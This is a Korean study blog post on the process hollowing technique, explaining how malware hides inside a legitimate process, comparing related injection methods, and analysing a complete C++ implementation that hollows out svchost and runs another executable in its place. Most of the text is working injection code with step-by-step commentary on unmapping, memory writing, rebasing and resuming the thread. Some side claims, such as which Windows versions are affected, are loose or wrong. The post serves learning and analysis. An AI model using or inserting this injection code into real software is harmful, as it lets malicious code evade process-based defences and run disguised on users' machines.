total_activ

Process Hollowing 본문

공부

Process Hollowing

INFOO 2022. 3. 19. 22:45

process hollowing

1. process hollowing이 무엇인지

process hollowing은 별도의 살아있는 프로세스의 주소 공간에서 임의의 코드를 실행하는 방법으로 악성코드가 대상 프로세싕 메모리에서 합법적인 코드를 비우고 대상 프로세스의 메모리 공간을 악성 실행 파일로 덮었을 때 발생됩니다. 과정을 다시 간략하게 말하자면 자식 프로세스를 이용하여 프로세스 자체를 주입하는 것으로 절차는 자식 프로세스를 suspend상태(일시중지상태)로 만든 뒤 기존 악성 프로세스의 정보를 얻어 자식 프로세스의 각위치에 mapping(해당 값이 다른 값을 가리키도록) 합니다. 이후 메모리를 할당하고 악성 데이터를 삽입한 후 suspend 상태를 풀어주게 되면 악성 행위를 하게됩니다.

  •  fdwCreate flag매개변수의 CREATE_SUSPENDED옵션을 사용하여 CreatePrecess로 합법적인 프로세스 생성합니다.   -->새프로세스의 기본 스레드는 일시중지된 모드로 시작됨
  • 일시정지동안 pProcInfo 구조를 통해 시작 프로세스에 대한 제어를 가진 멀웨어가 호스트 프로세스의 메모리에서 합법적인 코드의 빈공간을 확보합니다. ZwUnmapViewOfSection 또는 NtUnmapViewOfSection WIN32 API 함수 가 원본 코드의 매핑해제를 관여합니다
  • VirtualAllocEx를 통해 새코드에 대한 메모리를 할당합니다.
  • WriteProcessMemory를 통해 빈 호스트 프로세스에 자체 새 코드를 작성하고 VirtualAllocEx를 통해 호스트 프로세스에 할당된 메모리에 데이터를 씁니다.
  •  SetThreadContext 함수를 통해 새로운 코드 섹션을 가리키도록 원격 컨텍스트를 조정할수있습니다. ( 콘텍스트란 고정된 레지스터 상태를 말하는 것)
  • ResumeThread를 사용하여 일시 중지된 프로세스를 제개합니다.  

 

2. 어떠한 목적을 달성하기 위해 사용하는지

프로세스 기반 방어를 회피하고 악성코드를 삽입하는 것을 목적으로 process hollowing이 사용됩니다.

(권한 상승도 가능)

 

 

3. 해당 목적을 달성하기 위한 비슷한 기법으로는 어떠한 것들이 있는지 / 비슷한 기법

공통적으로 프로세스 기반 바어를 회피하기 위해 별도의 라이브 프로세스의 주소 공간에 임의의 코드를 실행하여 프로세스에 악성코드를 주입한다.

 

  •  proc memory: 별도의 라이브 프로세스의 주소 공간에서 임의의 코드를 실행하는 방법인 PROC 메모리 주입을 통해 /proc 파일 시스템을 이용하여 프로세스에 악성코드를 주입할 수 있습니다.  Process Hollowing과 유사하게 하위 프로세스를 대상으로 합니다. 각 프로세스 별로 가지고 있는 메모리 매핑이 가능한 /proc 파일 시스템에서 대상 프로세스의 스택을 덮어 씌어 수행합니다.proc 메모리 주입을 통한 실행은 합법적인 프로세스 실행에서 감쳐질수 있기 때문에 보안 제품의 탐지를 회피 가능합니다.
  • Extrawindow Memory Injection: 별도의 라이브 프로세스의 주소 공간에서 임의의 코드를 실행하는 방법인 EWM 주입을 통해 프로세스에 악성 코드를 주입할수 있습니다. EWM은 새로 Windows 클래스 등록에서 사용되고 각 인스턴스에 할당된 메모리에 최대 40바이트 EWM을 추가하라고 요청합니다. 이 EWM은 해당 창에 특정한 데이터를 저장하기 위한 것이며 값을 설정하고 가져오는 특정 API기능을 가지고 있습니다.
  • Ptrace System Calls : 일반적으로 실행 중인 프로세스(예:malloc)에 임의의 코드를 작성한 다음 실행할 다음 명령어가 포함된 레지스터를 설정하기 위해 해당 메모리를 호출하여 수행됩니다.
  • Thread Local Storage :  별도의 살아있는 프로세스의 주소 공간에서 임의의 코드를 실행하는 방법인 TLS 콜백을 통해 프로세스에 악성코드를 삽입할 수 있습니다. 다른 말로는 스레드 별로 고유한 저장공간을 가질수 잇는 방법으로 같은 context를 실행하고 있지만 실제로는 스레드 별로 다른 주소 공간을 상대로 작업하는 것입니다. 또한, 합법적인 진입점에 도달하기 전에 이식가능한 실행파일 내부의 포인터를 조작하는 것도 포함합니다.
  • Process Doppelgänging별도의 살아있는 프로세스의 주소 공간에서 임의의 코드를 실행하는 방법인 Process doppelgänging 을 통해 프로세스에 악성코드를 삽입할 수 있습니다. 이 공격의 핵심은 NTFS의 Transaction 기능을 이용하는 것으로 Transaction는 하나의 작업 단위로 묶은 것을 말합니다. 하지만 처음에는 NTFX가 안전한 파일 작업을 수행하기 위한 방법으로 VISTA에 도입되었지만 이 NTFX를 이용하여 Process injection의 파일 리스 변형을 수행할수 있습니다. ( 파일리스란? : 일반적인 악성코드는 PE 형태를 가지지만 파일리스는 운영체제에 제공하는 스크립트 엔진을 이용하여 악성행위를 수행하는 것으로 메모리에 바로 실행 가능한 형태의 공격기법) 이 공격은 Windows Vista 부터 Windows 10 이전까지 가능합니다. Process Hollowing 과 유사하게 프로세스 doppelgänging 은 적법한 프로세스의 메모리 교체를 포함하여 방어 및 탐지를 회피할 수 있는 악성 코드의 숨겨진 실행을 가능하게 합니다. (window 8.2까지는 되지만 window10은 정확하지는 않다)

 

4. 그 기법들과 비교해서 process hollowing의 장점이 무엇인지 / 차이점

  • Thread Local Storage는 process hollowing과 기존 프로세스를 대상으로 하지 않고 새로운 프로세스를 생성하기 때문에 권한 상승으로 이어지지 않는 차이점을 가지고 있습니다. 하지만 process hollowing은 합법적인 프로세스에서 실행이 마스킹되기 때문에 보안 제품의 탐지를 회피 할수 있습니다.

 

5. process hollowing 코드 분석

void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile)
{
//1단계 : 새 프로세스 만들기
printf("Creating process\\r\\n");
LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
CreateProcessA
(
	0,
	pDestCmdLine,
	0,
	0,
	0,
	CREATE_SUSPENDED,
	0,
	0,
	pStartupInfo,
	pProcessInfo
);

if (!pProcessInfo->hProcess)
{
	printf("Error creating process\\\\r\\\\n");

	return;
}

  • 1단계 : 새 프로세스 만들기
    • LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
    • 생성 시 창의 모양을 지정하는 STARTUPINFO 구조에 대한 포인터입니다.
    • LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
    • 프로세스 및 해당 메인 스레드에 대한 세부 정보를 포함하는 PROCESS_INFORMATION 구조에 대한 포인터입니다. 생성된 프로세스의 메모리 공간을 수정하는 데 사용할 수 있는 hProcess라는 핸들을 반환합니다.
    • CreateProcessA( )
      • CREATE_SUSPENDED,
      • 새 프로세스와 기본 스레드를 만들고 다양한 플래그를 입력합니다. 이러한 플래그 중 하나는 CREATE_SUSPENDED입니다. 그러면 일시 중단된 상태의 프로세스가 생성됩니다
    • 세새프로스와 기본 스레드에 대한 핸들과 식별자가 포함된 PROCESS_INFORMATION 구조를 반환
//2단계 정보수집 : 생성된 프로세스의 기본 주소 읽기
PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);

printf("Opening source image\\\\r\\\\n");

HANDLE hFile = CreateFileA
(
	pSourceFile,
	GENERIC_READ,
	0,
	0,
	OPEN_ALWAYS,
	0,
	0
);

if (hFile == INVALID_HANDLE_VALUE)
{
	printf("Error opening %s\\\\r\\\\n", pSourceFile);
	return;
}

DWORD dwSize = GetFileSize(hFile, 0);
PBYTE pBuffer = new BYTE[dwSize];
DWORD dwBytesRead = 0;
ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);

PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);

PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer);
  • 2단계
    • PLOADED_IMAGE pImage=ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);
    • PEB의 이미지 주소에서 NT 헤더 형식(PE 구조에서)을 읽습니다.
  • 생성된 프로세스의 기본 주소를 알아야 나중에 이 메모리 블록을 생성된 프로세스의 메모리 블록에 복사하는 데 사용할 수 있습니다
//3단계 : 매핑 해체 및 멤리 내용 스와핑
printf("Unmapping destination section\\r\\n");
HMODULE hNTDLL = GetModuleHandleA("ntdll");
FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
_NtUnmapViewOfSection NtUnmapViewOfSection =
	(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;

DWORD dwResult = NtUnmapViewOfSection
(
	pProcessInfo->hProcess,
	pPEB->ImageBaseAddress
);

if (dwResult)
{
	printf("Error unmapping section\\\\r\\\\n");
	return;
}

printf("Allocating memory\\\\r\\\\n");

PVOID pRemoteImage = VirtualAllocEx
(
	pProcessInfo->hProcess,
	pPEB->ImageBaseAddress,
	pSourceHeaders->OptionalHeader.SizeOfImage,
	MEM_COMMIT | MEM_RESERVE,
	PAGE_EXECUTE_READWRITE
);

if (!pRemoteImage)
{
	printf("VirtualAllocEx call failed\\\\r\\\\n");
	return;
}

DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase;

printf
(
	"Source image base: 0x%p\\\\r\\\\n"
	"Destination image base: 0x%p\\\\r\\\\n",
	pSourceHeaders->OptionalHeader.ImageBase,
	pPEB->ImageBaseAddress
);

printf("Relocation delta: 0x%p\\\\r\\\\n", dwDelta);

pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;

printf("Writing headers\\\\r\\\\n");

if (!WriteProcessMemory
(
	pProcessInfo->hProcess,
	pPEB->ImageBaseAddress,
	pBuffer,
	pSourceHeaders->OptionalHeader.SizeOfHeaders,
	0
))
{
	printf("Error writing process memory\\\\r\\\\n");

	return;
}

  • 3단계
    • 매핑 해체
      • HMODULE hNTDLL = GetModuleHandleA("ntdll");
      • HMODULE은 GetModuleHandleA()를 사용하여 NTDLL의 기본 주소를 가리키는 핸들 hNTDLL을 얻습니다.
      • FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
      • GetProcAddress()는 NTDLL의 입력을 받습니다.
      • _NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection) fpNtUnmapViewOfSection;
      • 지정된 DLL에 저장된 "NtUnmapViewOfSection" 변수 이름을 포함하는 ntdll에 대한 핸들
      • DWORD dwResult = NtUnmapViewOfSection( )
      • 메모리에서 프로세스를 분할하는 NtUnmapViewOfSection 변수를 만듭니다.
    • 메모리 내용 교환 :
      • VirtualAllocEx( )
        • pProcessInfo->hProcess,
        • 처리할 핸들,
        • pPEB->ImageBaseAddress,
        • 기본 주소,
        • pSourceHeaders->OptionalHeader.SizeOfImage,
        • 이미지의 크기,
        • MEM_COMMIT | MEM_RESERVE,
        • 할당 유형-> 여기, MEM_COMMIT | MEM_RESERVE는 메모리 페이지의 특정 연속 블록을 요구하고 예약했음을 의미합니다.
        • PAGE_EXECUTE_READWRITE
        • 커밋된 메모리 블록에서 RWX를 활성화합니다.
    • 이제 소스 이미지에 대한 새 메모리 블록을 매핑해야 합니다. 여기에서 맬웨어는 새 메모리 블록에 복사됩니다. 이를 위해 다음을 제공해야 합니다.
    • 프로세스 메모리에 복사
      • DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase;
      • 공동화가 작동하려면 원본 이미지의 선택적 헤더 내에 저장된 이미지 베이스가 대상 이미지 베이스 주소로 설정되어야 합니다. 그러나 이 값을 설정하기 전에 두 기본 주소 간의 차이를 계산하여 재설정에 사용해야 합니다.
      • pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;
      • 선택적 헤더가 고정되면 WriteProcessMemory 시작을 통해 영상이 프로세스에 복사됩니다. 이동식 실행 파일 헤더가 포함되어 있습니다.그런 다음 각 섹션의 데이터가 복사됩니다
  • 매핑 해체 및 멤리 내용 스와핑
//4단계 : 이 새로운 메모리 블록(맬웨어)을 일시 중단된 프로세스 메모리에 복사합니다.
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
	{
		if (!pSourceImage->Sections[x].PointerToRawData)
			continue;

		PVOID pSectionDestination =
			(PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress);
		//
		printf("Writing %s section to 0x%p\\r\\n", pSourceImage->Sections[x].Name, pSectionDestination);

		if (!WriteProcessMemory
		(
			pProcessInfo->hProcess,
			pSectionDestination,
			&pBuffer[pSourceImage->Sections[x].PointerToRawData],
			pSourceImage->Sections[x].SizeOfRawData,
			0
		))
		{
			printf("Error writing process memory\\r\\n");
			return;
		}
	}
if (dwDelta)
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
char* pSectionName = ".reloc";
		if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName)))
			continue;

		printf("Rebasing image\\\\r\\\\n");

		DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData;
		DWORD dwOffset = 0;

		IMAGE_DATA_DIRECTORY relocData =
			pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

		while (dwOffset < relocData.Size)
		{
			PBASE_RELOCATION_BLOCK pBlockheader =
				(PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset];

			dwOffset += sizeof(BASE_RELOCATION_BLOCK);

			DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize);

			PBASE_RELOCATION_ENTRY pBlocks =
				(PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset];

			//5단계: 소스 이미지 리베이스
			for (DWORD y = 0; y < dwEntryCount; y++)
			{
				dwOffset += sizeof(BASE_RELOCATION_ENTRY);

				if (pBlocks[y].Type == 0)
					continue;

				DWORD dwFieldAddress =
					pBlockheader->PageAddress + pBlocks[y].Offset;

				DWORD dwBuffer = 0;
				ReadProcessMemory
				(
					pProcessInfo->hProcess,
					(PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
					&dwBuffer,
					sizeof(DWORD),
					0
				);

				dwBuffer += dwDelta;

				BOOL bSuccess = WriteProcessMemory
				(
					pProcessInfo->hProcess,
					(PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
					&dwBuffer,
					sizeof(DWORD),
					0
				);

				if (!bSuccess)
				{
					printf("Error writing memory\\\\r\\\\n");
					continue;
				}
			}
		}

		break;
	}

DWORD dwBreakpoint = 0xCC;

DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress +
	pSourceHeaders->OptionalHeader.AddressOfEntryPoint;

  • 4단계
    • if (dwDelta)
    • 이전 단계에서 계산된 델타가 0이 아닌 경우 소스 이미지의 기준을 변경해야 합니다.
    • char* pSectionName = ".reloc";
    • reloc 섹션에 저장된 재배치 테이블을 사용합니다.
    • IMAGE_DATA_DIRECTORY relocData = pSourceHeaders->OptionalHeader.DataDirectory [IMAGE_DIRECTORY_ENTRY_BASERELOC];
    • reloc에 해당하는 포인터 값, IMAGE_DIRECTORY_ENTRY_BASERELOC 상수로 액세스하는 관련 IMAGE_DATA_DIRECTORY에는 테이블에 대한 포인터가 포함되어 있습니다.
    • for (DWORD y = 0; y < dwEntryCount; y++)
    • 소스 이미지가 대상 프로세스와 다른 ImageBaseAddress 에 로드 되었으므로 바이너리가 정적 변수 및 기타 절대 주소의 주소를 적절하게 확인하려면 이 이미지를 다시 기반으로 해야 합니다.
  • 이 새로운 메모리 블록(맬웨어)을 일시 중단된 프로세스 메모리에 복사합니다.
//6단계: EAX를 진입점으로 설정하고 스레드 재개
LPCONTEXT pContext = new CONTEXT();
pContext->ContextFlags = CONTEXT_INTEGER;
printf("Getting thread context\\\\r\\\\n");

if (!GetThreadContext(pProcessInfo->hThread, pContext))
{
	printf("Error getting context\\\\r\\\\n");
	return;
}

pContext->Eax = dwEntrypoint;

printf("Setting thread context\\\\r\\\\n");

if (!SetThreadContext(pProcessInfo->hThread, pContext))
{
	printf("Error setting context\\\\r\\\\n");
	return;
}

printf("Resuming thread\\\\r\\\\n");

if (!ResumeThread(pProcessInfo->hThread))
{
	printf("Error resuming thread\\\\r\\\\n");
	return;
}

printf("Process hollowing complete\\\\r\\\\n");

}
  • 6단계
    • pContext->Eax = dwEntrypoint;
    • EAX는 함수의 반환 값을 저장하는 특수 목적 레지스터입니다.코드 실행은 EAX가 가리키는 곳에서 시작됩니다. (EAX를 진입점으로 설정) 대상 프로세스에 로드된 소스 이미지를 사용하여 프로세스 스레드를 변경해야 합니다. 첫째, 스레드 컨텍스트를 획득해야 합니다. EAX 레지스터만 업데이트하면 되기 때문에 CONTEXT 구조의 ContextFlags 멤버를 CONTEXT_로 설정할 수 있습니다.
    • SetThreadContext(pProcessInfo->hThread, pContext)
    • 스레드 컨텍스트에는 스레드의 CPU 레지스터 및 스택 세트를 포함하여 스레드가 실행을 원활하게 재개하는 데 필요한 모든 정보가 포함됩니다. 즉, 스레드 컨텍스트가 설정되고 변경 사항이 EAX 레지스터에 적용됩니다.
    • printf("Resuming thread\r\n")
    • 스레드 재개, 마지막으로, 스레드가 재개되어 소스 이미지의 진입점을 실행합니다.
  • 이제 스레드 컨텍스트를 가져오고 SetThreadContext를 사용하여 EAX를 진입점으로 설정하고 ResumeThread()를 사용하여 실행을 재개합니다.
int _tmain(int argc, _TCHAR* argv[])
{
char* pPath = new char[MAX_PATH];
GetModuleFileNameA(0, pPath, MAX_PATH);
pPath[strrchr(pPath, '\\\\') - pPath + 1] = 0;
strcat(pPath, "helloworld.exe");
CreateHollowedProcess 
(
	"svchost",
	pPath
);

system("pause");

return 0;
}
  • CreateHollowedProcess( )
  • CreateHallowedProcess라는 함수는 1~6단계에서 논의한 모든 코드를 캡슐화하는 데 사용되며 인수로 실제 프로세스(여기서는 svchost)의 이름과 경로를 취합니다.

 

6. process hollowing 실습

코드를 실행하면 이렇게 process hollowing.exe를 실행했는데 Hello World.exe가 실행되는 것을 보면 hollowing.exe가 가장되었음을 의미합니다.

Process Explorer에서 이를 검사하면 해당 howlloing.exe만 HelloWorld.exe에 대한 언급이 없다는 것을 알 수 있습니다.

 

7. 소감 및 계획

생각보다 시간이 오래걸리는 분석이었지만 이론상으로 끝나는게 아니라 코드를 하나씩 분석하는것까지 진행해서 이 APT에 대해서는 재대로 공부한것 같습니다. 다음번에는 다른 APT에 코드를 분석하거나 이 프로세스 하울링에 대한 사례를 찾아보는 느낌으로 진행할것 같습니다.

 

8. 출처

MITRE ATT&CK®Dropper 3-2(Process Hollowing)[악성행위 기법] Code Injection - Process Hollowinghttps://github.com/m0n0ph1/Process-Hollowing

 

GitHub - m0n0ph1/Process-Hollowing: Great explanation of Process Hollowing (a Technique often used in Malware)

Great explanation of Process Hollowing (a Technique often used in Malware) - GitHub - m0n0ph1/Process-Hollowing: Great explanation of Process Hollowing (a Technique often used in Malware)

github.com

 

Dropper 3-2(Process Hollowing)

0. 목차 0. 목차 1. Process Hollowing이란 2. Process Hollowing 유형 분석 2.1 분석 환경 2.2 예제 소스 코드 및 컴파일 3. 분석 3.1 정적 분석 1) CreateProcessA() 2) CreateFileA(ExeName, 0x80000000, 1, 0,..

rninche01.tistory.com

 

[악성행위 기법] Code Injection - Process Hollowing

0) 개요Hollow 란? 구멍오목한 것텅빈오목한 간단 설명 [1]Process Hollowing 기법은 최근 악성코드에서 사용되는 흔한 기술로정상적인 프로세스를 생성하고 해당 프로세스에 악성PE 데이터를 삽입하여

jack2.postach.io